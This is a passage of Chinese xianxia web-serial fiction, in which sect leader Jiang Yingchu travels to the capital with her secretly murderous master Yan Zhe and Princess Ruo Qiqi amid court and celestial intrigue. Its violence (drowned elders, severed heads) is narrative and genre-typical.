“我已经给过诸位离开的机会。”姜盈初抱臂看着被浸在水中的几人,“甚至还给了灵石饯行。你们当时为什么不走呢?”
浑身湿透的长老们嗫嚅着,都不好意思说出自己龌龊的算盘。
无非是既想在姜盈初面前装个好人,又不敢和徐公公的意思有违。
两边都不想得罪,既要又要。
“难以启齿?”姜盈初问,她勾唇嗤笑一声。
暗沉的牢房里没有别人,机关却像有人在操纵。
姜盈初不过扬了扬嘴角,就听轰然一声,几个笼子沉闷地吱呀响着,慢慢往水底浸。
有长老没反应过来,还在水里扑腾挣扎。
也有机灵的长老死死抓着铁笼栏杆,崩溃地解释:“宗主饶命,求宗主饶命,我就是一时鬼迷心——”
他的话没能说完。
姜盈初眉头轻蹙,不满地“啧”了一声。
这个铁笼瞬间急速下沉,沉闷模糊的挣扎声传出水面,回荡在狭小的牢房中。
大家惊恐地盯着那片水域上浮出的气泡,越来越少,越来越少……
最终归于沉寂。
“啊啊啊——”有个被吓破胆的长老情绪崩溃,吼道:“他阿爷的腿呦!什么宗主,这分明才是灭世的魔头啊!我不想得罪徐公公,也不想得罪你个魔头,我偷偷跑我得罪谁了?”
其他被困在笼中的长老大气不敢喘,虽然自己也是死到临头,但还是忍不住为这个马上就要先走一步的兄台默哀。
姜盈初愉悦地拍了拍手。
这笼子唰然停了!
崩溃的长老还在撕心裂肺地大吼,掏心掏肺掏出所有的污言秽语,朝着姜盈初喷去。
旁边三个长老目瞪口呆,抓着笼子的手都泛麻。
姜盈初轻叹一声,惋惜地摇头:“唉,你们要是有人肯早点说句实话,刚刚那位长老也不至于就这么惨死啊。”
几位长老呆若木鸡:合着您也觉得这死状凄惨吗?
而牢房外狭窄的走道里,徐公公也被吓破了胆,汗水顺着额角滚落,把脸上的粉和成了泥。
大雨峰主押着徐公公,使其不得不透过面前的水月镜,看清牢里惨烈的景象。
姜盈初来到水牢门口时,还在往嘴里塞话梅。
看见徐公公,她故作震惊,呵斥大雨峰主:“唉!让你去请公公,你怎么能把公公押过来呢?还不快快放开!”
峰主配合地放开了人。
徐公公在皇帝身边混,自然是个人精,清楚这一切分明是姜盈初故意为之。
可他也只能装作不懂,笑脸相迎。
毕竟谁也不希望自己被沉到水底泡浮肿。
“我请公公过来,有一事相问。”姜盈初拱手作揖。
徐公公连忙也弯腰低头,“宗主直言便是,奴才知无不言!”
大雨峰主看得挑眉,心想:这阉人机灵啊,刚刚在殿里还自称咱家,这么快就重操旧业,满口奴才。
姜盈初随意地倚在墙上,抱臂说:“我脑子不好使,只能听懂直来直往的实话。刚刚公公在殿里说的那番话,我品不过来背后的深意啊。”<
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想到刚刚在水月镜上看到的惨状,徐公公也不敢再循序渐进做铺垫了。
他陪笑,开门见山地解释:“其实皇上的意思简单,只希望宗主能做成两件事。”
“哦?”
徐公公声如蚊呐地说:“仙家出了死人的大事,尸横遍野,皇上的意思是……这京都以南,今后也得交与白掌门。”
“哦?交给白虎派?”姜盈初似笑非笑,带着几分戏谑地问:“另一件呢?”
“皇上让您劝二公主回宫。”
此话一出,大雨峰主愕然地瞪大了眼,怀疑自己听岔了话。
二什么?
什么公主?
他万分惊恐地回头看着宗主。
姜盈初的表情依旧雷打不动,喜怒难辨。
她像没听到“二公主”这个字眼一样,点头问:“办成了如何?办不成又如何?”
徐公公被她说话时的压迫性吓到想遁地,但皇帝的旨意还得传达。
只能缩着脖子,结结巴巴道:“办成了,皇上,皇上准您继续留在沐阳山。办不成的话,皇上让我,让奴才带您去京都。”
徐公公还是咬牙篡改了皇帝的原话。
当着姜盈初的面,他实在憋不出来“押回京都”这么惊悚的话。
“哦——”姜盈初垂眸,略作思索。
半晌,她毫不在意地摊手,“巧了,立春将至,我正好想赏一赏京都的花儿。”
徐公公:???
不是要押回去的嘛?
怎么她主动要求去了?
*
姜盈初漫不经意地做出了这个决定。
结果山上突然有两个人给她摆起了脸色,炸毛跳脚,格外刺人。
第一个,便是徐公公口中的二公主,青龙派掌门若柒柒。
姜盈初正在后山禅定亭打坐,忽而感受到一阵扑面气流,玉锤砸得地面邦邦响。
她睁眼,刚好对上若柒柒委屈又不甘的眼神。
“我不回去!”若柒柒蹲在地上,气得牙痒痒,想把擅自替她做主的姜盈初也给砸扁了。
姜盈初见状,主动起身,往锤子前凑了凑。
怕真的砸到人,若柒柒连忙把锤子收回两寸。
确定若柒柒还没有气到失智,姜盈初笑了笑。
笑得让若柒柒又要炸毛。
姜盈初和若柒柒的相识始于几年前的一条人命。
若柒柒是二公主,野心和实力相称。
几年前请封皇太女未果,一气之下出了宫。
她打着修仙的幌子,给自己招兵买马,准备养精蓄锐,时机到了杀进宫去。
只不过招来的兵里有小人。
那小人偷了人家救命的药钱,转头在赌坊挥霍一空。
姜盈初便追到青龙派所在的华云山,一剑要其狗命。
掌门若柒柒得知内情后,没有怪罪姜盈初强闯山门。
两人反而一见如故,成了挚友。
姜盈初也知道了她修仙之下的实情。
再后来,姜盈初去云游四方,偶然听到了青龙派的名号——这门派突然真成了一个修仙的门派。
她问过若柒柒:兵去哪儿了?马去哪儿了?
可惜时至今日,若柒柒都咬定青山不肯说,一问就摇头。
眼下,姜盈初搭上她的肩,语气忽然郑重:“各门派都惨遭横祸,你不回去,靠你和你的残兵败将能闹什么?”
若柒柒杏眼一瞪,大声道:“我没有闹!我说了,我要修仙!除非斩妖除魔,否则我不会踏入京都一步!”
“好吧。”姜盈初说,收回了手。
若柒柒没料到她会这么爽快地答应,半信半疑地问:“真的?”
“骗你干什么?”姜盈初说,她又盘腿坐回蒲团,闭目道:“那你留在这里修仙,刚好替我守一下山。”
“你去哪儿?”
“京都。”
若柒柒一怔,声音拔高,“你闹什么?”
姜盈初缓缓睁眼。
她贴近若柒柒,语气轻柔但严肃:“我不知道你遇到了什么事情,你不愿说,我也不问。但眼下,钦天监插手仙门之事,那太监要带你回宫。甚至我怀疑,仙家的这场浩劫,都和京都脱不了干系。我还守着一座山能干什么?你守着二三百个人又能干什么?”
若柒柒哑口无言。
姜盈初闭眼,不再看她。
第一个炸毛的人勉强得到了安抚。
第二个炸毛的人接踵而至。
*
旺财注意到言遮的脸色沉得要滴水。
他坐在案前,整整一下午,把那把可以刺穿世间万物的匕首擦了又擦。
“你要动手了吗?”旺财恹恹地问。
明知姜盈初是魔头,可到了这个时候,旺财小小的猫心里充满了不舍。
言遮冷冷看着匕首,擦拭的动作仔细温柔,像在描募一幅画。
4. 晋江文学城 04[扁担]
姜盈初擦黑钻进了普华院。
走了两三步,她讶异地发现一盆长明不衰昙被摆在池上桥畔,任凭山风肆虐。
这种可以替代烛火的昙花在沐阳山十分稀有。
姜盈初刚在山上落户时,在主峰山顶发现了一株。
几年过去了,这一株花依旧是全山的独苗,被姜盈初拿来当生辰礼,孝敬给了言遮。
毕竟她师父眼瞎到能把马骑进深谷。
姜盈初抬头,打量言遮的主屋。
长明昙被摆在外头,里面也没有点灯,黑漆漆一片。
她推门进去。
下一瞬,一股力道自身后闪出,强势地把她圈在怀里。
还有个冷冰冰的东西贴着脖颈,凉意丝丝。
姜盈初差点反手提剑刺过去。
不过一抹熟悉的草木香钻进鼻腔,她长舒一口气,放心下来,也不挣扎。
言遮此人,虽然是个常年被药浸润的病秧子,但身上却没沾一点药的清苦味。
反倒是举手投足间都散着一股雨后草木香。
姜盈初闻惯了,竟有些离不开这种味道。
她曾私底下摆弄各种花草香料,却怎么都调不出这种味道的香。
“师父?”姜盈初唤了一声,她欲转身。
言遮冷声呵她:“别动。”
他手上力道又重了几分。
搞得姜盈初一头雾水。
但她转念一想:自己师父这样神神叨叨又不是第一日了。
“我差李良辰来告诉师父,要动身去京都。”姜盈初只好一动不动地问,“师父可知道?”
言遮视线晦暗,落在泛着寒光的匕首上,有一小部分刀背贴着姜盈初的脖颈。
光洁,细腻,修长。
像脆弱的花枝,他只需要轻描淡写地一划,就可以折断她的命。
言遮抬手,匕首抛向空中,转了个方向,又被他稳稳握着。
这次朝向姜盈初脖颈的那一面——是锋利的刀刃。
旺财都不敢继续再看,闭眼,把脑袋埋在爪子上假寐。
“知道。”言遮回姜盈初的话,说:“他来说了。”
刀刃还在一寸一寸朝姜盈初贴近——
“那师父打点好行装了吗?”姜盈初又问。
言遮的手一滞,眼眸微眯,“嗯?”
姜盈初掰着手指,边算边说:“衣裳倒是不用带,灵石和钱师父随意。药一定要带,起码得带五日的,如若京都缺了哪味药,多带的也好接济。”
言遮不吭声,默默收了手上匕首,也松开了姜盈初。
“我也去?”他轻声问。
姜盈初转身,好笑地看她师父:“你要是人缘好点儿,我也不用担心离了我,你会病死在这山上,那自然不用带你。”
言遮勾唇,淡淡笑道:“可惜了,这满山只有我的小徒弟待见我。”
“对了,刚刚有东西贴着我脖子。”姜盈初左右打量,“怪冷的。”
言遮“嗯”了一声,垂眸,从袖中摸出一支玉簪。
“白玉的,不冷才怪。”他抬手,指尖轻挑,将簪子斜插.入姜盈初的发间。
旺财抬起一张猫脸,不可置信地看着眼前的一派祥和。
不是说要杀了她吗?
匕首怎么变玉簪了?
*
两日后。
言遮倚着朱漆廊柱,眼巴巴地看着院门。
堂堂帝君,却和看家狗没什么两样。
这光景简直惨不忍睹。
旺财忍不住吐槽道:“擦了一下午的匕首,还以为是要动手,没想到是以为被丢下了,在闹脾气。”
言遮黑着脸斜睨过来。
旺财浑身一冷。
看见姜盈初的身影出现在院门口,连忙一溜烟地跑过去扑进避风港的怀抱。
言遮的脸更黑了。
哪怕到浩浩荡荡一行人聚集在山门时,言遮也依旧没露出一点儿笑。
若柒柒心口不一,嘴上嚷着誓死不进京都。
但行至山门处,姜盈初还是一眼就看到了那个拎着包袱的绿色长裙。
徐公公和宫里侍从跟在后面,看见若柒柒,眼睛齐刷刷都亮了。
“宗主。”徐公公谨小慎微地开口,“殿下来了。”
姜盈初主动接过若柒柒手里的包袱——而后这包袱又被黑脸的言遮接过了。
姜盈初习以为常,什么都没说。
她转头看向徐公公的时候,立马收起刚刚灿烂的笑。
“是,我看到了。”姜盈初冷嗖嗖道。
徐公公觉得这话里的冰渣子糊了自己一脸。
“那……”
姜盈初问:“那什么?”
那您还去京都干嘛呀?徐公公茫然。
但对上姜盈初可以杀人的眼神,徐公公不敢吱声,默默闭嘴。
“打理好主峰的事务。”姜盈初偏头,对李良辰叮嘱。
言遮狐假虎威,也懒洋洋地附和:“可不能偷懒啊。”
李良辰好比吃了黄连的哑巴,咬牙切齿地应好。
“你们打理好各自峰上的事务。”姜盈初又交代两位峰主,“管好门下弟子。”
沐阳山主峰只有仙童。
来修仙的弟子都发配去了大小雨峰,只有碰上大考,姜盈初才会指点一二。
又陆陆续续交代了乌泱泱一堆事,终于可以继续下山。
满地积雪厚实,枝桠披雪悬冰,浩浩荡荡五里白,天地间一片干净。
山下,车辆和马匹已经备好。
姜盈初犯难地盯着马车。
徐公公见她停住,连忙鞍前马后地问:“宗主可是觉得哪里不妥?”
“我御剑去,比马车快。”姜盈初说。
若柒柒也立马附和:“是,我也可以。”
徐公公一噎,心底对这会术法的人生出一丝艳羡。
同时也担心,谁知道您二位会御去哪里?跑了咋办?
转头看见一旁面无表情的言遮,徐公公大喜,如同看见了救命稻草。
“这位公子也会御剑?”他问。
姜盈初“嘶”了一声,摇头,替自己师父回答说:“那倒不会。”
言遮满脸木然,生无可恋。
第一次,他后悔自己当初走了废物师尊的路线。
“但我可以带着他。”姜盈初又说。
言遮周身的温度一下子乍暖还春。
“我今日头疼。”若柒柒突然开口,麻利地登上马车,斩钉截铁:“不宜御剑。还是坐马车吧。”
姜盈初只得点头。
她很随意,怎么去都行。
言遮也点头,皮笑肉不笑地钻进马车,贴近自己徒弟。
目光寒凉地扫了眼若柒柒。
若柒柒也横眉冷对言遮,丝毫不掩饰自己的嫌恶。
倒不是因为言遮那些自诩金贵的毛病。
而是——
譬如此刻,言遮倚在姜盈初肩头。
若柒柒虽然知道这厮是姜盈初的师父,但心里还是涌上一种羊肉落进狗嘴里的悲凉。
马车缓缓往前驶。
若柒柒细微地“哼”了一声,也上手去挽姜盈初的胳膊。
一边贴着一个人,好比一边燃着一个火炉。
姜盈初很心塞。
她冷酷无情地推开这两块儿狗皮膏药,伸手从言遮腿上捞起旺财,心满意足地抱在怀里。
言遮:?
若柒柒:?
背锅的旺财:……
*
沐阳山离京都不算远,姜盈初又给马匹都贴了符纸,车程不过两日。
忽略言遮和若柒柒之间的不悦,一路倒也风平浪静。
直到第一日傍晚,日薄西山时。
车队摇摇晃晃,经过一处荒无人烟的山沟,马身忽然一个趔趄,毫无征兆地急停了下来。
姜盈初还未挑起车帘,就听外面有个声音撕心裂肺地喊叫。
“这里有魔!有魔啊!”
下一瞬,徐公公连滚带爬地窜到姜盈初的车前,也惊恐地吼:“宗宗宗宗主救命——”
姜盈初皱眉,出了马车。
徐公公瘫软地倚着马,手指颤抖指向前方:“宗主,前前面……”
他哆嗦着说不出话来。
言遮和若柒柒也连忙跟在姜盈初身后,一齐往前走。
只见车队最前方,有个头发花白的老妇人跌坐在地。
而一众侍从表情都万分惊恐。
老妇人念叨着“此地有魔头”的话,身旁散落着一个扁担。
姜盈初一怔。
言遮眯着眼,看清那扁担里头的东西后,连忙伸手捂住姜盈初的眼睛。
“什么?”姜盈初问。
言遮犹豫了一下,还是轻声答:“人头。”
那扁担的两个箩筐里,各自装着一颗头颅!
也难怪这一行人都被吓破了胆。
若柒柒看见这种血淋淋的场面,也忍不住皱眉,不敢上前。
姜盈初听到言遮的话,却波澜不惊,说:“那你放开,我不害怕。”
言遮撤了手。
姜盈初便在一众目光里,毫无惧色地走到了那老妇人面前。
“阿婆?”她蹲下身,柔声问。
冬末春初,沟里没落多少雪。新绿掺在枯草间,和渐渐暗下的天色一块儿斑驳。
老妇人慢悠悠伸出一只手。
姜盈初也伸手,想回握着安慰她。
不料老妇人枯瘦的手突然“蹭”地抓住她的胳膊,力道格外大。
姜盈初吃痛在心里,面上纹丝不动。
毕竟谁见到这筐里两个人头都会害怕,力道没轻没重,可以理解。
“阿婆,发生什么了?”姜盈初又问。
老妇人低着头,五官隐隐。
她死死抓着姜盈初,声音嘶哑:“这儿有魔,有魔头出世!”
姜盈初安慰地轻拍她的背,“阿婆,这筐里的……是怎么回事呢?”
两颗头颅湿哒哒,血淋淋。
一男一女,
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脸上都还维持着惊恐的表情,死不瞑目。
姜盈初扫了眼油亮的竹条,眸光幽深。
周围的人吓得大气都不管喘,眼神胡乱纷飞,不敢看这边。
生怕和那人头来个深情对视。
不过耳朵都竖得与天公争高,屏息凝神听这边的动静。
只有言遮面色不悦,轻晃着扇子。
怀里的旺财顺着他的视线看去,发现他的目光聚集在那老妇人抓着姜盈初胳膊的手上。
“魔头出世!”老妇人的声音突然变得高昂,激愤道:“姑娘,这条路不能再往前走啦!”
“为什么?”
“那算命的仙人说了,魔头途径此地,会有灾祸啊!”老妇人松了手,泪眼涟涟,“都怪我,我还以为这是胡话,还催莺儿和袁郎来拾柴火……”
老妇人哽咽,说得断断续续。
姜盈初耐心地听着,理清了来龙去脉。
这老妇人是山沟里的住户,几日前有个道士说过,有魔头途径此地,招来横祸。
老妇人不信,雷打不动催女儿女婿出来捡柴。
等他们久久不归时,老妇人出来寻,就寻到了两颗孤零零的人头。
姜盈初沉默片刻,问:“阿婆,道士还说什么了么?”
“比如那魔头的长相。”身后,言遮突然温声道。
姜盈初才注意到自己师父。
若柒柒躲在三米开外的地方,言遮却寸步不退。
“师父……不怕?”姜盈初探究地问。
言遮沉声应道:“嗯。”
姜盈初鲜少见他这么正经的样子,轻眨一下眼,带着一丝恍惚转过身。
她转过身,却意外地发现眼前一片空落落。
再偏头,她看见那个老妇人正挑了扁担,飞速地朝远处山林窜。
速度甚至能比上贴了灵符的马,坑坑洼洼的山坡她如履平地。
哪有一点老妇人的样子?
众人看着那道身影,目瞪口呆。
下一瞬,他们面前又闪过一道白色虚影,只听“蹭”的一声,眨眼间那虚影就带来凌冽的扑面冷风。
浮生剑出鞘,径直追着老妇人。
姜盈初面无表情,身侧手攥成拳,死死盯着老妇人挑扁担逃跑的背影。
“怕什么?”言遮轻声道。
是个疑问句,却更像自言自语。
他的声音很小,周围又刮起了大风,只有旺财听到了这莫名其妙的疑问。
剑快得能划破风声,众人都替这老妇人默哀。
拦了仙门宗主,却什么都没说,还想跑——这不就是送人头吗?
“咣当——”
不远处传来重物坠地的声音,吓得众人一激灵。
那老妇人跑远了,淡出众人视线。
而狠狠磕在石头上的,居然是浮生剑!
好像从天而降一盆滚烫热水,烫得人人都倒吸凉气。
姜盈初垂眸,突然毫无征兆地向后瘫倒。
向后仰去的那一瞬,她看着天,热泪夺眶而出。
砸在了言遮手上。
言遮稳稳当当把她揽进怀里,又给若柒柒使了个眼色。
两人针锋相对整天,这会儿双双卸下个人恩怨。
言遮扶着姜盈初钻进了马车,若柒柒拾了剑,也从容钻进车里。
侍从和太监满头雾水,又不得不稀里糊涂地继续前进。
*
姜盈初阖眼睡了,什么都不想说。
言遮不知道从哪里翻出来一件自己的白色狐裘,给她盖好,仔细地掖了掖衣角。
车内剩下的两人一猫都很无措。
“你以前见过她这样么?”若柒柒不得不开口问。
言遮摸着旺财的手一僵,反问:“你也没见过?”
两人惊疑不定地对望。
忍着对于对方的不爽,勉强心平气和地交流了一会儿,最终得出来个惊掉人下巴的结论。
若柒柒:你是说你从来没见过她哭?
言遮:你是说你从来没见过她哭?
嘿,真没有。
师父和朋友如此关系亲近的人,都没见过。
*
子时,夜风习习,山间路上碎石朦胧在月色中。
姜盈初没有醒,若柒柒也直挺挺坐着入睡。
言遮不情不愿地抱着旺财,忽而用心声唤这只蠢麒麟:“我要进她的识海。”
旺财惊得一崩三尺高。
所谓识海,便是人的内心一隅。
这块儿最隐秘,最真实的地方。喜怒哀乐之类鸡毛蒜皮的小情绪挤不进去,这里存放的是爱恨情仇。
是一些可能自己都淡忘了记忆,自己都未曾发觉的情感。
“你疯啦?”旺财也用心声质问言遮,“你接了杀她的重任,如若再对她使这种高等术法,可是算你用法力干涉天道的!”
“我知道。”言遮轻声道。
他的嗓音清冽平稳,不闻喜怒,只能听出某种不容反驳的决绝。
旺财傻了。
5. 晋江文学城 05[识海]
半炷香后。
旺财灵相化作麒麟,驼着自己那决心要作死的主子,进了姜盈初的识海。
“你可想清楚了。”旺财老妈子一样,再三确认,“天道说不定会注意到你!”
言遮向前俯身,低低趴在麒麟身上,与之四目相对。
他满目冰霜,嗤笑着问:“你是天道的灵兽,还是我的?”
旺财不假思索:“当然是你的啊。”
“那——你要是再提它,就给我滚。”言遮好整以暇地坐直身子,“走。”
旺财:……
被帝君威胁的旺财在心底怒骂:好心就是这么被当作驴肝肺的!
但它也只敢在心底发泄一下。
表面上,它不但要驼着主子作死,还要干巴巴地叮嘱:“哦,那你坐稳了。”
淌过沸腾的热浪,穿过天罗地网的大雪。进识海的困难层峦叠嶂,旺财飞得举步维艰。
终于,暗红天日下终于翕动着一点光亮。
言遮看见一间破烂小屋立在幽幽黑海中央。
识海之象,因人而异,呈现的都是每个人最割舍不下的记忆。
旺财载着言遮降至岸上,化成了一个眉清目秀的少年,邀功地朝言遮看去。
看吧,我驼你来到这种地方,是不是得表扬两句?
不料言遮丝毫没理会它的满脸期待,反而蹙着眉心。
“没有常青树。”言遮说完,径直朝小屋走。
旺财一愣,环顾四周,这才注意到不对劲。
寻常人的识海,一定会有两三棵常青树,每棵都代表一份依赖。
爱人,亲人,师长……
姜盈初的这块儿地却荒瘠得厉害,比旺财的猫食盆子还要空。
这丫头就没有一个依赖的人?
“也说得过去,她毕竟是大魔头嘛。”旺财转念一想,分析道。
他跟着言遮进了小屋。
屋里光线昏暗,言遮站在明暗交界处,半张脸好似蒙了面具。
而他身边的阴影里,一根小团子正哭得撕心裂肺。
小团子泪水鼻涕糊了满脸,哭得奶声奶气,具有团子的软糯。
可是又瘦得形销骨立,只能称其为一根团子。
一根团子是年幼的姜盈初。
门口,有个头发花白的男人,挑了扁担要往出走。
言遮狭长的眼眸眯起来。
这男人挑扁担的样子,像今天那个老妇。
“爹爹——”姜盈初在地上抽抽搭搭地喊,“爹爹你别走……”
男人回头看了她一眼,眸中情绪复杂,有几分不忍。
但他还是毅然出了门。
关门声震得姜盈初瘫在地上。
她费力地从地上爬起来,跌跌撞撞地要去追自己那挑了粮食就跑的爹。
“皎皎。”床上,面黄肌瘦的女人嘶哑地喊。
皎皎。
言遮跟着在心底默念了一遍姜盈初的小字——他从来没有听她提起过。
姜盈初经过言遮,扑向了自己在病榻上的娘。
“爹爹,爹爹他把吃的挑走了。”她在娘亲怀里告状一般哭诉。
床上的女人双目猩红,手也颤抖。
她拍了拍姜盈初的脸蛋,语气轻柔:“皎皎不哭,那不是你爹爹。从今以后,你不要再喊他爹爹……”
又过一阵,门外忽然传来吵嚷的人声。
“快贴封条!姜先生说了,他夫人染了那种怪病!”
“窗子!窗子也要封牢。”
……
而姜盈初双眼紧闭,缩在娘亲怀里。
她娘亲的手光洁细腻,白得虚弱,轻轻捂着她的耳朵。
好像这样就能把恐惧拒之门外一样。
言遮踱步至床边,蹲下,缓缓伸手。
哪怕知道自己此刻只是灵相,他还是产生了擦掉这小团子脸上泪痕的冲动。
“砰——”
一阵狂风吹来,闯进屋门。
言遮起身,退到一边。
可姜盈初和她娘亲却都没听见这阵风一样,没有一点儿反应。
言遮瞳孔微微张大。
风直直地朝他刮来了!
旺财连忙又化了麒麟相,言遮翻身跨上麒麟,主仆闪电般夺门而出。
幽深的识海此刻狂风大作,海上巨浪滔天。
好在旺财不是一般灵兽,灵敏地驼着主子穿梭在风雨间。
等出了识海,元神归体的时候,主仆一人一麒麟都疑惑。
旺财皱着猫脸,用心声问言遮:“她的识海怎么能察觉到我们?”
言遮对此倒是很波澜不惊,幽幽道:“她是魔。”
但他眉心的结依旧没有散开。良久,喃喃自语:“为什么没有常青树?”
起码他以为,自己这个师父的存在,足够长出一棵。
可她的识海空空如也——她连自己也不依赖。
旺财如法炮制,幽幽地答:“她是魔。”
言遮:……
*
云清台,宫里专门修来接待仙人的地方。
姜盈初几人也被安排暂住在这里。
云清台的掌事听闻来的仙人乃是仙门宗主,一大早就张罗准备了各种佳肴,还把云清台的大小宫殿都扫了个干净,好让宗主参观得尽兴。
不料姜盈初迈进宫门,第一句话是“我要沐浴。”
掌事见她浑身是血的模样,登时慌了神:“宗宗宗主可是受了伤?”
姜盈初摇头:“别人的血。”
掌事更慌了。
姜盈初觉得自己这一路过来实在坎坷。
短短两日的路程。
第一日,她碰上个健步如飞的老妇人。
第二日,她又碰上一群杀手,且招式间灵气四溢,并非普通人。
这群杀手有眼色,来得迅疾,跑得更是麻利,刹那间便无影无踪。
姜盈初杀了两个,想捉一个盘问时,剑却只堪堪擦到了对方的背。
夜里,姜盈初没敢阖眼,静坐在花前阶上吹风。
若柒柒也没睡,蹑手蹑脚贴近她:“我觉得这一切都是常平的手笔。”
“谁?”姜盈初觉得这名字熟悉。
“四皇子。”若柒柒解释道,“冲我来的。”
姜盈初拖着长腔“噢”了一声,支着下巴深思。
当今皇帝共育八子,除去三位公主殿下,皇子里面,实力最出众的便是四皇子。
若柒柒又有请封皇太女之举,此番回宫,难免引起这位四殿下的警惕。
只是——
“不对。”姜盈初摇头道。
若柒柒问:“哪儿不对?”
姜盈初捻着枯枝,说:“这些人更像是冲我来的。”
有哪个老妇出来寻子女,会挑个扁担?
难不成未卜先知,早就知道前方有两颗血淋淋的头颅在等她?
这一切不像冲若柒柒来的。
更像是要——勾起她的一些回忆。
可谁会知道她从未与人提起的这些事呢?
一阵大风吹过,廊下灯笼杂乱地摇曳。
姜盈初起身,打了个寒颤。
*
沐阳山,领事李良辰今日卧病在床。
山门上下有很多弟子涌去探望。
李良辰身为主峰领事,没有灵根,不会法术。
但因为做事老实,勤勤恳恳,人缘在山上是一等一的好。
待到涌进去的弟子都稀稀拉拉出来后,大雨峰主也提着食盒去探望了一番。
食盒里是小雨峰主炖的鲫鱼豆腐汤。
李良辰受宠若惊,覷着大雨峰主的脸色,想接又不敢接。
“哎呀,专门给你炖的!”大雨峰主瞧出了他的顾虑,笑呵呵道:“你放心喝。你这一个凡人的小身板,病重了可了不得。”
李良辰嘴角依旧挂着谦和的笑,羡慕地说:“是啊,都是我不争气。要是我有灵根,能跟着宗主修行,该多好。”
大雨峰主安慰地拍了拍他的肩。
放下食盒,他负手出了门。
李良辰盯着门口,笑意纹丝不减。
良久,他动了动身子,从床下拖出来个药箱。
借着镜子,他偏头,褪下自己的上衣。
镜中,李良辰的背上赫然是一道狰狞的伤口。
他龇牙咧嘴地给自己上了药,又把药箱藏在床底。
感受着伤口处不断传来的丝丝阵痛,李良辰笑着,喃喃道:“宗主,你下手真狠。”
*
若柒柒回宫,宫里大张旗鼓,办了个接风宴。
姜盈初也在被邀请的人里头。
她想,这宴定是包藏祸心的鸿门宴了。
她和若柒柒迈出云清台的时候,却发现有个熟悉的身影等在马车前。
言遮薄唇抿成一条直线,抬眸挑眉。
姜盈初上前扒拉他:“师父站在这里干嘛?”
言遮巍峨地倚着马车,纹丝不动。
他被姜盈初气笑了,反问:“你站在这里干嘛?”
“进宫赴宴啊。”姜盈初摊手,“你别倚在马车上了,待会儿马车一走,不得晃你——”
言遮打断她,“你去赴宴,我呢?”
姜盈初一愣,没想到她师父会提出如此清奇的问题。
“你在云清台等我。”她说,“你要是觉得无聊,还有旺财陪你呢。”
话音刚落,言遮突然两三步上前,扣着她的手腕,将她虚虚揽进怀里。
动作很亲昵。
语气又很冰冷。
他眯着眸子问:“我和旺财一样,都是被你丢在这里的小畜生?”
姜盈初没见过她师父黑着脸的样子。
这会儿头一次见,她莫名理解了山上弟子对言遮的看不惯从何而来——这人无理取闹起来,都是一本正经的。
“姜盈初。”无理取闹的师父突然低声唤道。
“啊?”
“你不把我当师父,你不依赖我,我不怪你。”言遮淡淡道,“但你别把我当旺财,起码,别丢下我。”
听君一席话,胜遭十道雷。
姜盈初便如遭雷击地愣在原地。
她怀疑自己刚刚产生了幻觉。
平日里死皮赖脸的师父,说出了“别丢下我”这种几近乞求的话?
还有那句“你不依赖我。”
姜盈初无话可反驳,更多是伪装被戳破之后的赧然。
于是马车又像进京那日,挤了三个人。
言遮得偿所愿地去了宫宴,留下旺财一猫独守云清台,百无聊赖。
就差去和云清台的狗一决高下了。
既是精心策划的鸿门宴,这座位也定暗含深意。
姜盈初和言遮被安排坐在一位将军身边。
将军叫闻项,最近大名轰动了京都。
倒不是什么打了胜仗之类的原因。
相反,闻项败得格外凄惨,两千士兵埋骨沙场。
不过景帝并未降罪于他,听说他自己先惶恐地交了兵权。
在听到姜盈初的名字后,闻项手里的酒樽一斜。
随后热情地侧身过来,招呼道:“姜宗主?”
姜盈初也颔首,“闻将军。”
“哎呦,莫要再喊我将军了。”闻项夸张
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地摆手,“老夫要卸甲归田。那沙场上的魑魅魍魉,吓死人哟。”
姜盈初挑眉不语。
沙场之上,不说剑影刀光,反倒说起了魑魅魍魉,一听就不对劲。
果然,哪怕她不接话,闻项也自己给自己搭台阶地说了下去。
“宗主,你都不知道,我这一仗打得有多骇人!”闻项说,“精兵两千,一夜妖风吹过,竟自相残杀了起来!”
姜盈初仔细地盯着闻项打量,满腹狐疑。
这番说辞,这番惨状——
不就是那些长老给自己哭诉的话吗?闻项也经历了这种事?
“这还不是最稀奇的。”闻项又道,“稀奇的是,军中突然瘟疫横行,粮草也被那阵妖风烧绝了,又死了一波人呐。”
姜盈初捏着冰糖核桃的手一滞,悬在空中。
闻项还在喋喋不休地向她描述军中饿死人的惨状。
她的脑海里却满是当年她爹挑了粮食窜逃的画面。
村中瘟疫横行,粮草枯绝。
她爹是个私塾先生,平日里仁义礼孝挂在嘴边。
不料祸事当头,却挑了粮食,丢妻弃子,自己忙着苟活去了。
“皮包骨头”“人吃人”“臭气冲天”……
闻项致力于给姜盈初把当时场景活灵活现地描述出来。
姜盈初觉得自己恍恍惚惚,周身很冷。
忽然,她的手边一热。
思绪从九天之外坠到人间,姜盈初偏头一瞧,是言遮低头,热气喷洒在她手上。
他旁若无人地从姜盈初手上叼走了那块儿核桃。
习以为常的姜盈初依然习以为常。
她转过身,还想朝闻项问问具体的情况。
不料闻项却匆匆起身去敬酒了,她只得作罢。
宴间觥筹交错,乐声悠扬。
景帝只敢在传话时才能说出“押回京都”如此硬气的话。
如今姜盈初就在阶下,他反倒不敢提这茬事了。
毕竟仙人就在眼前,谁都惜命。
仙门被屠,魔头出世,灾星藏匿。
大家心照不宣地没有提起这些事情。
只有姜盈初脑海中当年瘟疫的景象挥之不去,殿内的空气反倒让她头昏脑涨起来。
于是她起身,去外面透气。
姜盈初的身影消失在殿外时,闻项晃晃悠悠,故作不经意地搭上了言遮的肩。
被言遮用一记冷眼扫了下去。
他压低声音问:“瘟疫是怎么回事?为什么要告诉她?”
闻项学着言遮的模样,也压低了声音:“就是她要化魔的预兆之一啊。”
“是吗?”言遮似笑非笑,轻飘飘地问。
闻项紧张得攥紧了手中的衣角,在桌底下,谁也看不到。
表面上,他故作镇定,朝言遮笑:“帝君放心就是,我等定会竭力辅佐帝君,除掉魔头。”
“管好你自己。”言遮冷声道,“本君的事无需你插手。”
说完,他起身。
临走时还慢悠悠地捡了两颗姜盈初爱吃的叮叮糖。
闻项看着言遮离去的身影,嘴角勾起一抹耐人寻味的笑。
没过多久,他也起身作揖,借酒醉离席。
留荷亭一角的隐秘花丛中,闻项捏着一面花纹简单的镜子。
他左右张望,确认四下无人。
镜中浮现出一张人脸,操着一口不伦不类的官话——是李良辰!
闻项笑问:“沐阳山那边你筹备的如何?”
“上仙放心,我已将引雷符置于各处,只等上仙出手。”李良辰恭恭敬敬地回答。
闻项压低了声音笑。
他满意地收了镜子,看向不远处一个满头珠翠的身影,目光寒凉。
